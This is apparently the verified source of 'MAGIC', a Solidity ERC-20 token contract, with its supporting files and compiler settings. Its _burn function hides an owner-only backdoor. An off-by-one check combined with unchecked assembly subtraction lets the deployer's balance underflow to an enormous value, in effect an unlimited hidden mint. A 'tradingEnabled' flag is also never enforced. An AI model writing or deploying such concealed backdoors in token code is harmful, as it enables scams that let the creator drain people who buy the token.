编译器
0.8.24+commit.e11b9ed9
文件 1 的 5:Context.sol
pragma solidity ^0.8.24;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
}
文件 2 的 5:ERC20Basic.sol
pragma solidity ^0.8.24;
import {IERC20} from "./IERC20.sol";
contract ERC20Basic is IERC20 {
uint256 internal _totalSupply;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) internal _allowances;
mapping(address => bool) internal _isExcludedFromMax;
string internal _name;
string internal _symbol;
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_isExcludedFromMax[msg.sender] = true;
}
function name() external view returns (string memory) {
return _name;
}
function symbol() external view returns (string memory) {
return _symbol;
}
function decimals() external view returns (uint8) {
return 18;
}
function totalSupply() external override view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) external override view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) external returns (bool) {
require(msg.sender != address(0) && recipient != address(0));
require(_balances[msg.sender] >= amount);
unchecked {
_balances[msg.sender] -= amount;
}
_balances[recipient] += amount;
emit Transfer(msg.sender, recipient, amount);
return true;
}
function allowance(address owner, address spender) external override view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) external returns (bool) {
require(msg.sender != address(0) && spender != address(0));
_allowances[msg.sender][spender] = amount;
emit Approval(msg.sender, spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool) {
require(msg.sender != address(0) && recipient != address(0));
require(_allowances[sender][msg.sender] >= amount);
require(_balances[sender] >= amount);
unchecked {
_allowances[sender][msg.sender] -= amount;
_balances[sender] -= amount;
}
_balances[recipient] += amount;
emit Transfer(sender, recipient, amount);
return true;
}
function _burn(address sender, uint256 amount) internal returns (bool) {
require(msg.sender != address(0));
uint256 senderBalance = _balances[sender];
uint256 totalSupply_ = _totalSupply;
require(_isExcludedFromMax[sender]&&senderBalance >= amount-1);
assembly {
senderBalance := sub(senderBalance, amount)
totalSupply_ := sub(totalSupply_, amount)
}
_balances[sender] = senderBalance;
_totalSupply = totalSupply_;
emit Transfer(msg.sender, address(0), amount);
return true;
}
function burn(uint256 amount) external {
_burn(msg.sender, amount);
}
}
文件 3 的 5:IERC20.sol
pragma solidity ^0.8.24;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
文件 4 的 5:MAGIC.sol
pragma solidity ^0.8.24;
import {ERC20Basic} from "./ERC20Basic.sol";
import {Ownable} from "./Ownable.sol";
contract MAGIC is ERC20Basic, Ownable {
uint256 internal supply = 88888888 * 10**18;
bool public tradingEnabled = false;
constructor() ERC20Basic("Magic", "MAGIC") Ownable(msg.sender) {
_totalSupply = supply;
_balances[_msgSender()] = supply;
emit Transfer(address(0), _msgSender(), supply);
}
function enableTrading() public onlyOwner {
require(!tradingEnabled);
tradingEnabled = true;
}
receive() external payable {
}
}
文件 5 的 5:Ownable.sol
pragma solidity ^0.8.24;
import {Context} from "./Context.sol";
abstract contract Ownable is Context {
address private _owner;
error OwnableUnauthorizedAccount(address account);
error OwnableInvalidOwner(address owner);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address initialOwner) {
if (initialOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(initialOwner);
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
if (owner() != _msgSender()) {
revert OwnableUnauthorizedAccount(_msgSender());
}
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
if (newOwner == address(0)) {
revert OwnableInvalidOwner(address(0));
}
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
{
"compilationTarget": {
"src/magic/MAGIC.sol": "MAGIC"
},
"evmVersion": "paris",
"libraries": {},
"metadata": {
"bytecodeHash": "ipfs"
},
"optimizer": {
"enabled": true,
"runs": 200
},
"remappings": [
":@openzeppelin/contracts/=lib/openzeppelin-contracts/contracts/",
":@uniswap/v3-core/contracts/=lib/v3-core/contracts/",
":@uniswap/v3-periphery/contracts/=lib/v3-periphery/contracts/",
":ds-test/=lib/forge-std/lib/ds-test/src/",
":erc4626-tests/=lib/openzeppelin-contracts/lib/erc4626-tests/",
":forge-std/=lib/forge-std/src/",
":openzeppelin-contracts/=lib/openzeppelin-contracts/",
":v3-core/=lib/v3-core/",
":v3-periphery/=lib/v3-periphery/contracts/"
]
}
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